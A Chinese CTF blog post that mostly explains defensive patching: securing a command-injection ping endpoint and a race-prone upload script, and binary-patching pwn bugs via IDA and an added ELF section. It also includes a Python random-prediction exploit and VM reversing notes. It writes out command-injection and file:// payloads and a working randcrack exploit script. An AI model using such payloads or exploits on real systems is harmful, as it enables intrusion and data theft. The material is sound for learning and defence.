防守就和常规的ctf有区别了。一般来说,我们打ctf的时候我们写攻击脚本,但是在防守是别人写好了多个攻击脚本(对选手不可见),当你修复好漏洞后会进行全自动测试,测试成功即为获得flag(或者坚持时间久拿分),同时要保证服务的正常运转(即不能破坏原有功能)。也有两队同时进攻和防守的,基本上就是考运维+上述内容

4.1.1 修复绕过

这里存在一个命令拼接:
PixPin_2025-09-02_18-09-12

这题有两个预期解:

  1. www.baidu.com&&less<fl[a,b]g114514
  2. file://flag114514

那么我们第一个想法当然是加多黑名单,但是无论怎么加貌似防不住第二个,因为我们必须保证能够访问到正常网页。那就换个思路:

  1. 检测域名、ip对应的是不是在本地
  2. 不使用拼接命令
  3. 限制跳转

如果你愿意,可以加更多,但是比赛基本上这样就够用了(尤其是第二条,不能拼接命令!),这里直接让ai给脚本上传即可打完

# safe_app.py
from flask import Flask, render_template, request, jsonify, abort
import os
import requests
from urllib.parse import urlparse, urlunparse
import ipaddress
import socket

app = Flask(__name__)

# 可配置:允许的外部域名白名单(可空,表示不使用白名单)
ALLOWED_DOMAINS = set()  # 例如 {"example.com", "api.example.org"}

# 最大回显字节(避免回显大文件)
MAX_ECHO_BYTES = 4096

# 禁止解析到的私有/回环/链路本地网络
PRIVATE_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("::1/128"),
    ipaddress.ip_network("fc00::/7"),
    ipaddress.ip_network("fe80::/10"),
]

def is_ip_private(ip_str: str) -> bool:
    try:
        ip_obj = ipaddress.ip_address(ip_str)
    except ValueError:
        return True  # 无法解析的视为不安全
    for nw in PRIVATE_NETWORKS:
        if ip_obj in nw:
            return True
    return False

def resolve_hostname_to_ips(hostname: str):
    """返回 hostname 对应的 IP 列表(可能为 IPv4/IPv6)"""
    try:
        infos = socket.getaddrinfo(hostname, None)
    except socket.gaierror:
        return []
    ips = []
    for info in infos:
        addr = info[4][0]
        ips.append(addr)
    return list(set(ips))

def validate_and_normalize_url(raw: str):
    """
    1) 解析 URL,只允许 http/https
    2) 要求有 netloc(host)
    3) 禁止 file:// 等
    4) 解析 hostname -> IP,禁止私有/回环地址
    5) 可选:检查 ALLOWED_DOMAINS 白名单
    返回规范化后的 URL 字符串,或抛出 ValueError
    """
    if not raw:
        raise ValueError("Empty URL")

    parsed = urlparse(raw, scheme="")  # 不自动假定 http,强制检查
    # 如果用户输入没有 scheme 而是像 "example.com/path",urlparse 会把 example.com 归到 path。
    # 先简单处理:如果没有 scheme,假定 http 并重新 parse。
    if not parsed.scheme:
        parsed = urlparse("http://" + raw)

    if parsed.scheme.lower() not in ("http", "https"):
        raise ValueError("Only http/https allowed")

    if not parsed.netloc:
        raise ValueError("Invalid URL: missing host")

    hostname = parsed.hostname
    if not hostname:
        raise ValueError("Invalid hostname")

    # 如果使用域名白名单,强制校验
    if ALLOWED_DOMAINS:
        base = hostname.lower()
        if base not in ALLOWED_DOMAINS:
            raise ValueError("Domain not allowed")

    # 解析 hostname -> IPs,禁止回环及私有网段
    ips = resolve_hostname_to_ips(hostname)
    if not ips:
        raise ValueError("Unable to resolve hostname")

    for ip in ips:
        if is_ip_private(ip):
            raise ValueError("Resolved IP is private/loopback - blocked")

    # 重建 URL,去掉可能包含的用户名/密码信息
    safe_netloc = hostname
    if parsed.port:
        safe_netloc += ":" + str(parsed.port)
    normalized = urlunparse((parsed.scheme, safe_netloc, parsed.path or "/", parsed.params, parsed.query, parsed.fragment))
    return normalized

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/ping", methods=["POST"])
def ping():
    data = request.get_json(silent=True) or {}
    raw_url = data.get("url", "")
    try:
        url = validate_and_normalize_url(raw_url)
    except ValueError as e:
        return jsonify({"result": f"不允许回显: {str(e)}"}), 400

    # 使用 requests 发起请求(替代 subprocess),限制超时、重定向和响应大小
    try:
        with requests.get(url, timeout=3, allow_redirects=True, stream=True) as r:
            # 强制只处理文本/小体积
            content_type = r.headers.get("Content-Type", "")
            if "text" not in content_type and "json" not in content_type:
                return jsonify({"result": "不允许回显二进制或非文本内容"}), 400

            # 读取最多 MAX_ECHO_BYTES 字节
            to_read = MAX_ECHO_BYTES
            chunks = []
            for chunk in r.iter_content(chunk_size=1024):
                if not chunk:
                    break
                chunks.append(chunk)
                to_read -= len(chunk)
                if to_read <= 0:
                    break
            raw = b"".join(chunks)
            # 尝试 utf-8 解码,失败则忽略错误
            text = raw.decode(errors="replace")
            return jsonify({"result": text})
    except requests.Timeout:
        return jsonify({"result": "请求超时!"}), 504
    except requests.RequestException as e:
        return jsonify({"result": f"请求失败: {str(e)}"}), 502

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=False)

4.1.2 修复文件竞争上传

这一题是文件竞争上传,传上去的文件经过检测后会被重命名短暂落地,如果被访问就可以getshell

<?php

function waf_file_del($contents){
        $pattern = '/(<\?php\b)|(<%\s*)|(<script\b)|(`[^`]*`)|\beval\s*\(|\bfopen\b|\bfputs\b|\bexec\b/i';
        if(preg_match($pattern,$contents)){
                // unlink($file);  // 等到外边判断时再删除,给竞争降低点难度
                //              echo "文件存在恶意代码!";
                return 1;
        }else{
                return 0;
                //echo "未检测出文件存在恶意代码!".$file;
        }
}


date_default_timezone_set("Asia/Shanghai");
$time=date("Ymdhis");
$randint=strval(rand(10,99));
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext=substr($_FILES['file']['name'],-3);
$path = './upload/' .$randint.$time.'.'.$ext;
echo 'The Path : '.$path;
$tmp = $_FILES['file']['tmp_name'];
$contents = file_get_contents($tmp);
if(move_uploaded_file($tmp, $path)){
        if(preg_match('/jpg|png|gif/i', $ext)&&!waf_file_del($contents)){       
                echo 'upload success,file in '.$path;  
        }
    else{
                // sleep(1);
                unlink($path);                   
                die("黑客别来沾边");
        }
}
else{
    die('你这文件不保熟吧,是不是太大了,总之没传上去');
}

修复也比较简单:

<?php
date_default_timezone_set("Asia/Shanghai");
header("Content-Type:text/html;charset=utf-8");

$upload_dir = './upload/';
$max_size = 10 * 1024; // 10 KB
$allowed_mimes = [
    'image/jpeg' => '.jpg',
    'image/png'  => '.png',
    'image/gif'  => '.gif',
];

// 确保上传目录存在
if (!is_dir($upload_dir)) mkdir($upload_dir, 0755);

// waf检查函数
function waf_file_del($contents){
    $pattern = '/(<\?php\b)|(<%\s*)|(<script\b)|(`[^`]*`)|\beval\s*\(|\bfopen\b|\bfputs\b|\bexec\b/i';
    return preg_match($pattern, $contents) ? true : false;
}

// 检查是否上传文件
if (!isset($_FILES['file'])) {
    die("没有上传文件!");
}

$file = $_FILES['file'];

// 文件大小检查
if ($file['size'] > $max_size) {
    die("文件过大!");
}

// MIME 类型检查
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $finfo->file($file['tmp_name']);
if (!array_key_exists($mime_type, $allowed_mimes)) {
    die("只允许上传图片文件!");
}

// 获取文件内容
$contents = file_get_contents($file['tmp_name']);
if (waf_file_del($contents)) {
    die("文件内容包含危险代码!");
}

// 生成随机安全文件名
$rand_name = $upload_dir . bin2hex(random_bytes(8)) . $allowed_mimes[$mime_type];

// 安全移动文件
if (move_uploaded_file($file['tmp_name'], $rand_name)) {
    echo "上传成功,文件路径:" . htmlspecialchars($rand_name);
} else {
    die("文件上传失败!");
}
?>

通过这两道题你也看出来了,web修洞只要能发现就能比较快速

4.2 pwn

4.2.1 修改数值

我们从栈迁移说起,栈迁移是因为多读入16字节

ssize_t vuln()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  puts("16 bytes can you kill me?");
  return read(0, buf, 0x90u);
}

那么,我们就更改二进制文件让它少读点
PixPin_2025-09-02_18-29-50

将箭头指向处改为6(或者你喜欢的数字),之后每次打开新文件都要进行这一步

按tab+空格切换到汇编,发现漏洞

PixPin_2025-09-02_18-31-00

右键选择Assemble

PixPin_2025-09-02_18-31-49

PixPin_2025-09-02_18-32-43

按保存

PixPin_2025-09-02_18-33-28

PixPin_2025-09-02_18-33-50

即可完成漏洞修复

4.2.2 修改函数

unsigned __int64 vuln()
{
  __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("gift: %p\n", &v1);
  puts("You will have only one chance!");
  read(0, buf, 0x100u);
  printf(buf);
  return v2 - __readfsqword(0x28u);
}

明显存在格式化字符串漏洞,按上文步骤更改printf 为 puts

PixPin_2025-09-02_18-36-12

别忘了保存即可修复漏洞

4.2.3 新增段并hook到这

这道题堆的漏洞开的有点大,第一个是free不置空,第二个是edit想写多少写多少,我们挨个来修

3.3.1 free不置空

int sub_40134F()
{
  signed int n0x80; // [rsp+Ch] [rbp-4h]

  puts("index:");
  n0x80 = sub_401234();
  if ( (unsigned int)n0x80 >= 0x80 )
    return puts("Invalid index.");
  if ( !*((_QWORD *)&unk_4040C0 + n0x80) )
    puts("No content at this index.");
  free(*((void **)&unk_4040C0 + n0x80));
  return puts("Content deleted successfully.");
}

如果你直接把free干掉,那就违背了不能破坏功能原则,我们希望修补为可以置空

PixPin_2025-09-02_18-39-39

查看汇编可以发现,这个函数十分紧凑,没办法多写别的东西,如果强行修改。就会覆盖到前面的。那么我们要用到我们pwn+re的思路,我们可以在调用free的时候hook它,让它去别的地方执行我们想要的代码再回来。

在哪里执行呢?首先,我们要尽可能不破坏文件结构,代码段肯定是不行的,.bss会被清空,.data不可运行。那我们就干脆加一个段(详见ELF文件及其运行),用以下脚本加一个.fix(名字任意)的段方便我们写补丁。

#!/usr/bin/env python3
"""
add_fix_section.py

在 ELF 二进制中添加一个可执行的 .fix(或自定义名字)段,填充 NOP,
并写出一个 patched 文件(<orig>_patched)。

输出会包含:
 - 段名、大小
 - 段在文件内的偏移(file offset)
 - 段在内存的虚拟地址(virtual address, VMA)
 - 对齐 / flags
 - 对 IDA 使用的说明(如果是 PIE,需注意运行时基址)

备注:
 - 该脚本尽量保持简单、通用;不会改动原有段的内容(除非 name 冲突)。
 - 生成的段被设置为 ALLOC + EXECINSTR (可执行并会被映射)。
"""

import sys
import argparse
import lief
import os
import textwrap
from struct import pack


def human(x):
    try:
        return hex(x)
    except:
        return str(x)


def add_exec_section(binary_path: str, out_path: str, name: str, size: int, fill: int = 0x90):
    # 解析 ELF
    elf = lief.parse(binary_path)
    if elf is None:
        raise SystemExit("Failed to parse ELF: " + binary_path)

    # 检查是否已有同名段
    if elf.get_section(name) is not None:
        i = 1
        base = name
        while elf.get_section(f"{base}{i}") is not None:
            i += 1
        name = f"{base}{i}"
        print(f"[!] 段名已存在,改用新段名: {name}")

    # 创建可执行段
    sec = lief.ELF.Section(name)
    sec.type = lief.ELF.Section.TYPE.PROGBITS
    sec.flags = (lief.ELF.Section.FLAGS.ALLOC |
                 lief.ELF.Section.FLAGS.EXECINSTR)
    sec.content = [fill] * size  # 默认用 NOP 填充

    # 添加段,放入 loadable segment
    elf.add(sec, loaded=True)

    # 写出新的 ELF
    elf.write(out_path)

    # 再次解析,确保拿到新增段的准确信息
    elf2 = lief.parse(out_path)
    new_sec = elf2.get_section(name)
    if new_sec is None:
        raise SystemExit("添加段失败(写入后无法读取段信息)")

    info = {
        "name": new_sec.name,
        "size": new_sec.size,
        "alignment": new_sec.alignment,
        "virtual_address": new_sec.virtual_address,
        "file_offset": new_sec.file_offset,
        "flags": new_sec.flags_list
    }
    return info, out_path


def jmp_rel32_bytes(src_va: int, dst_va: int):
    """
    计算 jmp rel32 的机器码 bytes(E9 <rel32>)
    rel32 = dst_va - (src_va + 5)
    仅适用于非-PIE(或已知具体基址)情况下的直接 VA。
    返回 bytes 对象。
    """
    rel = dst_va - (src_va + 5)
    rel32 = pack("<i", rel)  # 32-bit signed little endian
    return b"\xE9" + rel32


def main():
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description=textwrap.dedent(__doc__)
    )
    parser.add_argument("elf", help="输入 ELF 二进制文件路径")
    parser.add_argument("--size", "-s", type=lambda x: int(x, 0), default=0x1000,
                        help="新增段大小(hex 支持,如 0x1000),默认 0x1000")
    parser.add_argument("--name", "-n", default=".fix",
                        help="新增段名,默认 .fix")
    parser.add_argument("--fill", "-f", type=lambda x: int(x, 0), default=0x90,
                        help="填充字节,默认 0x90 (NOP)")
    args = parser.parse_args()

    if not os.path.isfile(args.elf):
        raise SystemExit("输入文件不存在: " + args.elf)

    base = os.path.basename(args.elf)
    out = args.elf + "_patched"

    print(f"[+] 解析输入 ELF: {args.elf}")
    print(f"[+] 将输出为: {out}")
    print(
        f"[+] 新增段名: {args.name}  大小: {hex(args.size)}  填充字节: {hex(args.fill)}")

    info, out_path = add_exec_section(
        args.elf, out, args.name, args.size, args.fill)

    print("\n[+] 新增段信息:")
    print(f"    name: {info['name']}")
    print(f"    size: {hex(info['size'])}")
    print(f"    alignment: {info['alignment']}")
    print(f"    virtual_address (VMA): {hex(info['virtual_address'])}")
    print(f"    file_offset: {hex(info['file_offset'])}")
    print(f"    flags: {info['flags']}")
    print()
    print("说明:")
    print(" - VMA 为程序加载后该段的虚拟地址(若 ELF 为 PIE/ET_DYN,则该 VMA 是相对于基址的偏移,运行时需加上基址)。")
    print(" - file_offset 是该段在文件中的偏移,IDA 里可用这个偏移或 VMA(若非 PIE)来定位。")
    print()
    print("建议在 IDA 中的定位方法:")
    print(" - 如果二进制为非-PIE(ET_EXEC),在 IDA 打开二进制后直接跳到 VMA 地址即可 (GOTO -> 输入 VMA)。")
    print(" - 如果二进制为 PIE(ET_DYN),运行时加载基址可能不为 0;在 IDA 中可以把 imagebase 设置为 0,然后到运行时用 GDB 查看 base,或在 IDA 中以 base 加上 VMA 的值定位。")
    print()
    print("[!] 注意:该脚本不修改原始段的权限或其它段布局(除新增段外),一般情况下不会破坏可执行性。")
    print()

    # 打印一个 jmp rel32 的计算示例(示意)
    print("[*] 如果你要在某处插入 `jmp rel32`(E9 <rel32>),这里是计算方法(非-PIE 情况):")
    print("    rel32 = dst_va - (src_va + 5)")
    print("    机器码 = E9 <rel32 little-endian>")
    print()
    print("示例 Python 片段(在 IDA 或 pwntools 中快速生成 bytes):")
    print(textwrap.indent(textwrap.dedent("""
        def make_jmp_bytes(src_va, dst_va):
            rel = dst_va - (src_va + 5)
            return b"\\xE9" + (rel & 0xFFFFFFFF).to_bytes(4, "little", signed=True)

        # 例如:
        src = 0x4013CE    # 你要在这里写 jmp
        dst = 0x405000    # trampoline 地址 (script 输出的 VMA)
        jmp_bytes = make_jmp_bytes(src, dst)
        print(jmp_bytes.hex())
    """), "    "))
    print()
    print("[*] 小贴士:")
    print(" - 覆盖原来的指令时,确保你以指令边界为单位覆盖(不要覆盖中间字节)。")
    print(" - 若被覆盖指令长度 >5,建议写 jmp + 填充 NOP;在 trampoline 开头复制被覆盖的原始指令(stolen bytes)。")
    print(" - 若 ELF 为 PIE,在运行时你需要获取基址 (pwn/ldd/gdb 都能帮忙),再计算实际写入的 rel32。")
    print()
    print(f"[+] 已写出 patched 文件: {out_path}")
    print("[+] 现在可以在 IDA 中打开 patched 文件,跳到上面显示的 VMA(或 file offset)来编辑 trampoline 内容。")


if __name__ == "__main__":
    main()

使用方法:

python3 ./1.py ./pwn

这样子就新增了一个可运行的.fix段,在ida也可以看到位于0x804000

然后我们直接分析汇编:

PixPin_2025-09-02_18-47-07

因为我们需要获取原始的偏移和数组地址,而mov rax,[rdx+rax]或损失掉原始的数组信息,我们直接nop掉前面,自行获取

PixPin_2025-09-02_18-47-40

这里的hook_free 实际上为jmp 0x804000

PixPin_2025-09-02_18-49-36

然后我们保存上下文,开始操作

PixPin_2025-09-02_18-52-24

恢复寄存器

PixPin_2025-09-02_18-52-37

这里需要一点点手写汇编功底

  1. [] 是取地址操作,相当于c中的*q = 0
  2. 使用mov代替lea

类似的,我们直接 hook 掉 read
PixPin_2025-09-02_18-57-27

然后使用堆的特性:堆大小在malloc返回指针-8的位置,获取后别忘了进行去除flags位,然后-0x10即为允许写入空间

PixPin_2025-09-02_18-58-57

别忘了收尾

PixPin_2025-09-02_19-00-02

5.1 python随机数引擎

# -*- encoding: utf-8 -*-
'''
@File    :   server.py
@Time    :   2025/03/20 12:25:03
@Author  :   LamentXU 
'''
import random 
print('----Welcome to my division calc----')
print('''
menu:
      [1]  Division calc
      [2]  Get flag
''')
while True:
    choose = input(': >>> ')
    if choose == '1':
        try:
            denominator = int(input('input the denominator: >>> '))
        except:
            print('INPUT NUMBERS')
            continue
        nominator = random.getrandbits(32)
        if denominator == '0':
            print('NO YOU DONT')
            continue
        else:
            print(f'{nominator}//{denominator} = {nominator//denominator}')
    elif choose == '2':
        try:
            ans = input('input the answer: >>> ')
            rand1 = random.getrandbits(11000)
            rand2 = random.getrandbits(10000)
            correct_ans = rand1 // rand2
            if correct_ans == int(ans):
                print('WOW')
                with open('flag', 'r') as f:
                    print(f'Here is your flag: {f.read()}')
            else:
                print(f'NOPE, the correct answer is {correct_ans}')
        except:
            print('INPUT NUMBERS')
    else:
        print('Invalid choice')

实际上python的随机数是可以预测的,收集足够多的随机数即可

from randcrack import RandCrack
from pwn import *

# 连接到服务
conn = remote('192.168.121.130', 32836)  # 替换为实际的地址和端口

rc = RandCrack()

context.log_level = "debug"

# 收集624个32位随机数来重建状态
print("Collecting random numbers...")
for _ in range(624):
    conn.sendlineafter(b': >>> ', b'1')  # 选择选项1
    conn.sendlineafter(b'input the denominator: >>> ', b'1')  # 分母输入1
    line = conn.recvline().decode().strip()
    nominator = int(line.split('//')[0])
    rc.submit(nominator)

print("Predicting next random numbers...")
# 预测接下来的两个大随机数
predicted_rand1 = rc.predict_getrandbits(11000)
predicted_rand2 = rc.predict_getrandbits(10000)
correct_ans = predicted_rand1 // predicted_rand2

# 获取flag
conn.sendlineafter(b': >>> ', b'2')  # 选择选项2
conn.sendlineafter(b"input the answer: >>>", str(correct_ans).encode())
print(conn.recvline())
conn.interactive()

5.2 vm逆向

又是一个重量级,re手最痛恨的东西之一

PixPin_2025-09-04_07-42-37

根据一堆偏移猜测是在模拟寄存器模拟指令,随便一个进去看看

PixPin_2025-09-04_07-43-37

PixPin_2025-09-04_07-44-05

发现是对刚刚的操作,所以刚才的是模拟寄存器,这里则是指令

PixPin_2025-09-04_07-45-00

进到第一个看看

__int64 __fastcall sub_400806(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v7; // [rsp+0h] [rbp-20h]
  __int64 v8; // [rsp+8h] [rbp-18h]
  __int64 v9; // [rsp+10h] [rbp-10h]

  v9 = a2;
  v8 = a3;
  v7 = a4;
  *(_QWORD *)(a1 + 8) = a2 + 9;
  *(_QWORD *)(a1 + 24) = a3;
  *(_QWORD *)(a1 + 32) = a4;
  while ( 2 )
  {
    switch ( **(_BYTE **)(a1 + 8) )
    {
      case 0xA0:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 8LL))(a1);
        continue;
      case 0xA1:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 16LL))(a1);
        continue;
      case 0xA2:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 24LL))(a1);
        *(_QWORD *)(a1 + 8) += 11LL;
        continue;
      case 0xA3:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 32LL))(a1);
        *(_QWORD *)(a1 + 8) += 2LL;
        continue;
      case 0xA4:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 40LL))(a1);
        *(_QWORD *)(a1 + 8) += 7LL;
        continue;
      case 0xA5:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 48LL))(a1);
        ++*(_QWORD *)(a1 + 8);
        continue;
      case 0xA6:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 56LL))(a1);
        *(_QWORD *)(a1 + 8) -= 2LL;
        continue;
      case 0xA7:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 64LL))(a1);
        *(_QWORD *)(a1 + 8) += 7LL;
        continue;
      case 0xA8:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 72LL))(a1);
        continue;
      case 0xA9:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 80LL))(a1);
        *(_QWORD *)(a1 + 8) -= 6LL;
        continue;
      case 0xAA:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 88LL))(a1);
        continue;
      case 0xAB:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 96LL))(a1);
        *(_QWORD *)(a1 + 8) -= 4LL;
        continue;
      case 0xAC:
        (*(void (__fastcall **)(__int64))(*(_QWORD *)a1 + 104LL))(a1);
        continue;
      case 0xAD:
        (*(void (__fastcall **)(__int64, __int64, __int64, __int64, __int64, __int64, __int64, __int64, __int64))(*(_QWORD *)a1 + 112LL))(
          a1,
          a2,
          a1,
          a4,
          a5,
          a6,
          v7,
          v8,
          v9);
        *(_QWORD *)(a1 + 8) += 2LL;
        continue;
      case 0xAE:
        if ( *(_DWORD *)(a1 + 20) )
          return 0;
        *(_QWORD *)(a1 + 8) -= 12LL;
        continue;
      case 0xAF:
        if ( *(_DWORD *)(a1 + 20) != 1 )
        {
          *(_QWORD *)(a1 + 8) -= 6LL;
          continue;
        }
        return 1;
      default:
        puts("cmd execute error");
        return 0;
    }
  }
}

发现switch ( **(_BYTE **)(a1 + 8) ) 在不断变化,很有可能是pc寄存器,至于其它的寄存器暂时看不出用途,先随便起名

PixPin_2025-09-04_07-52-30

打开结构体窗口,新建一个结构体

struct Register
{
  void *table;
  uint64_t ip;
  uint8_t v0;
  uint8_t v1;
  uint8_t v2;
  uint8_t nop;
  uint32_t t0;
  uint64_t t1;
  uint64_t t2;
};

然后在

PixPin_2025-09-04_07-54-26

PixPin_2025-09-04_07-56-31

类似的:

PixPin_2025-09-04_07-57-30

然后我们挨个分析刚才的指令:

PixPin_2025-09-04_07-58-49

比方说刚刚的sub_400C7C

PixPin_2025-09-04_07-59-20

我们就可以这样分析,相类似的,直接全部分析一遍:
PixPin_2025-09-04_08-00-04

然后去新建一个结构体:

struct Table
{
  void *vm;
  void *addv0;
  void *addv1;
  void *addv2;
  void *v0subv2;
  void *v0xorv1;
  void *v1xorv0;
  void *movv0_51;
  void *v2movv1;
  void *v2mov_51;
  void *v0_get_arry_t2_v2;
  void *v1_get_arry_t2_v2;
  void *Checkflag1;
  void *checkflag2;
  void *t0shrv20x1f;
};

记得修改之前的结构体为:

struct Register
{
  Table *table;
  uint64_t ip;
  uint8_t v0;
  uint8_t v1;
  uint8_t v2;
  uint8_t nop;
  uint32_t t0;
  uint64_t t1;
  uint64_t t2;
};

然后回到sub_400806,重新修正参数

__int64 __fastcall vm(Register *Register, __int64 code, uint64_t data, __int64 input, __int64 a5, __int64 a6)
{
  __int64 input_1; // [rsp+0h] [rbp-20h]
  uint64_t data_1; // [rsp+8h] [rbp-18h]
  __int64 code_1; // [rsp+10h] [rbp-10h]

  code_1 = code;
  data_1 = data;
  input_1 = input;
  Register->ip = code + 9;
  Register->t1 = data;
  Register->t2 = input;
  while ( 2 )
  {
    switch ( *Register->ip )
    {
      case 0xA0:
        (Register->table->addv0)(Register);     // ip
        continue;
      case 0xA1:
        (Register->table->addv1)(Register);
        continue;
      case 0xA2:
        (Register->table->addv2)(Register);
        Register->ip += 11LL;
        continue;
      case 0xA3:
        (Register->table->v0subv2)(Register);
        Register->ip += 2LL;
        continue;
      case 0xA4:
        (Register->table->v0xorv1)(Register);
        Register->ip += 7LL;
        continue;
      case 0xA5:
        (Register->table->v1xorv0)(Register);
        ++Register->ip;
        continue;
      case 0xA6:
        (Register->table->movv0_51)(Register);
        Register->ip -= 2LL;
        continue;
      case 0xA7:
        (Register->table->v2movv1)(Register);
        Register->ip += 7LL;
        continue;
      case 0xA8:
        (Register->table->v2mov_51)(Register);
        continue;
      case 0xA9:
        (Register->table->v0_get_arry_t2_v2)(Register);
        Register->ip -= 6LL;
        continue;
      case 0xAA:
        (Register->table->v1_get_arry_t2_v2)(Register);
        continue;
      case 0xAB:
        (Register->table->Checkflag1)(Register);
        Register->ip -= 4LL;
        continue;
      case 0xAC:
        (Register->table->checkflag2)(Register, code, Register, input, a5, a6, input_1, data_1, code_1);
        continue;
      case 0xAD:
        (Register->table->t0shrv20x1f)(Register);
        Register->ip += 2LL;
        continue;
      case 0xAE:
        if ( Register->t0 )
          return 0;
        Register->ip -= 12LL;
        continue;
      case 0xAF:
        if ( Register->t0 != 1 )
        {
          Register->ip -= 6LL;
          continue;
        }
        return 1;
      default:
        puts("cmd execute error");
        return 0;
    }
  }
}

下一步就是写出对应的脚本,看看执行了什么

#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <windows.h>

typedef struct Reg {
    void* table;
    uint32_t ip;
    uint8_t v0;
    uint8_t v1;
    uint8_t v2;
    uint8_t pad19;
    uint32_t t0;
    uint32_t* t1;
    uint32_t* t2;

} reg;

void Checkflag1(reg* Register) {
    reg* Register_1; // rax
    // v0==t1[v2]
    if (Register->v0 == *(Register->t1 + Register->v2)) {
        Register_1 = Register;
        Register->t0 = 0; // t0=0
    }
    else {
        Register_1 = Register;
        if (Register->v0 >= *(Register->t1 + Register->v2)) // v0 >= t1[v2]
            Register->t0 = 1;                                 // t0=1
        else
            Register->t0 = -1; // t0=-1
    }
}

void checkflag2(reg* Register) {
    reg* Register_1; // rax

    if (Register->v1 == Register->t1[Register->v2]) {
        Register_1 = Register;
        Register->t0 = 0;
    }
    else {
        Register_1 = Register;
        if (Register->v1 >= Register->t1[Register->v2])
            Register->t0 = 1;
        else
            Register->t0 = -1;
    }
}

int main() {
    uint32_t code[] = { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8,
                       0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0 };

    uint32_t data[] = { 0xF4, 0x0A, 0xF7, 0x64, 0x99, 0x78, 0x9E, 0x7D,
                       0xEA, 0x7B, 0x9E, 0x7B, 0x9F, 0x7E, 0xEB, 0x71,
                       0xE8, 0x00, 0xE8, 0x07, 0x98, 0x19, 0xF4, 0x25,
                       0xF3, 0x21, 0xA4, 0x2F, 0xF4, 0x2F, 0xA6, 0x7C };
    uint32_t input[] = { 0x39,0x34,0x32,0x61,0x34,0x31,0x31,0x35,0x62,0x65,0x32,0x33,0x35,0x39,0x66,0x66,0x64,0x36,0x37,0x35,0x66,0x61,0x36,0x33,0x33,0x38,0x62,0x61,0x32,0x33,0x62,0x36 };

    reg* Register;
    Register = (reg*)malloc(sizeof(reg));
    memset(Register, 0, sizeof(reg));
    Register->ip = code[9];
    Register->t0 = 0;
    Register->t1 = data;
    Register->t2 = input;


    while (1) {
        switch (Register->ip) {
        case 0xA0:
            puts("0xA0");
            puts("v0++"); // ip
            Register->v0++;
            continue;
        case 0xA1:
            puts("0xA1");
            puts("v1++");
            Register->v1++;
            continue;
        case 0xA2:
            puts("0xA2");
            puts("v2++");
            Register->v2++;
            Register->ip = (Register->ip + 11);
            continue;
        case 0xA3:
            puts("0xA3");
            puts("v0-=v2");
            Register->v0 -= Register->v2;
            Register->ip = (Register->ip + 2);
            continue;
        case 0xA4:
            puts("0xA4");
            puts("v0^=v1");
            Register->v0 ^= Register->v1;
            Register->ip = (Register->ip + 7);
            continue;
        case 0xA5:
            puts("0xA5");
            puts("v1^=v0");
            Register->v1 ^= Register->v0;
            ++Register->ip;
            continue;
        case 0xA6:
            puts("0xA6");
            puts("v0=-51");
            Register->v0 = 0xCD;
            Register->ip = (Register->ip - 2);
            continue;
        case 0xA7:
            puts("0xA7");
            puts("v1=v0");
            Register->v1 = Register->v0;
            Register->ip = (Register->ip + 7);
            continue;
        case 0xA8:
            puts("0xA8");
            puts("v2=-51");
            Register->v2 = 0xCD;
            continue;
        case 0xA9:
            puts("0xA9");
            puts("v0=input[v2]");
            Register->v0 = input[Register->v2];
            Register->ip = (Register->ip - 6);
            continue;
        case 0xAA:
            puts("0xAA");
            puts("v1=t2[v2]");
            Register->v1 = Register->t2[Register->v2];
            continue;
        case 0xAB:
            puts("0xAB");
            puts("if(v0==data[v2])");
            puts("Checkflag1(Register);");
            Checkflag1(Register);
            Register->ip = (Register->ip - 4);
            continue;
        case 0xAC:
            puts("0xAC");
            puts("if(v1==t1[v2])");
            puts("checkflag2(Register);");
            checkflag2(Register);
            continue;
        case 0xAD:
            puts("0xAD");
            puts("t0>0x1f");
            Register->ip = (Register->ip + 2);
            continue;
        case 0xAE: {
            puts("0xAE");
            if (Register->t0)
                return 0;
            Register->ip = (Register->ip - 12);
            continue;
        }
        case 0xAF:
            puts("0xAF");
            if (Register->t0 != 1) {
                Register->ip = (Register->ip - 6);
                continue;
            }
            return 1;
        default: {
            puts("cmd execute error");
            return 0;
        }
               return 0;
        }
    }
}

根据输出结果,人肉反汇编一下:

for (int v2 = 0; v2 < 32; v2++)
{
    v0 = input[v2];
    v0 -= v2;
    v1 = v0 ^ v1;
    v0 = -51;
    v0 = v0 ^ v1;
    if (v0 == data[v2])
    {
        printf("YES");
        v1 = v0;
    }
    else
    {
        printf("NO");
        break;
    }
}

下一步写出解密脚本即可

总结

被迫成为全栈选手>﹏<

posted @ 2025-09-04 08:06  归海言诺  阅读(80)  评论(0)    收藏  举报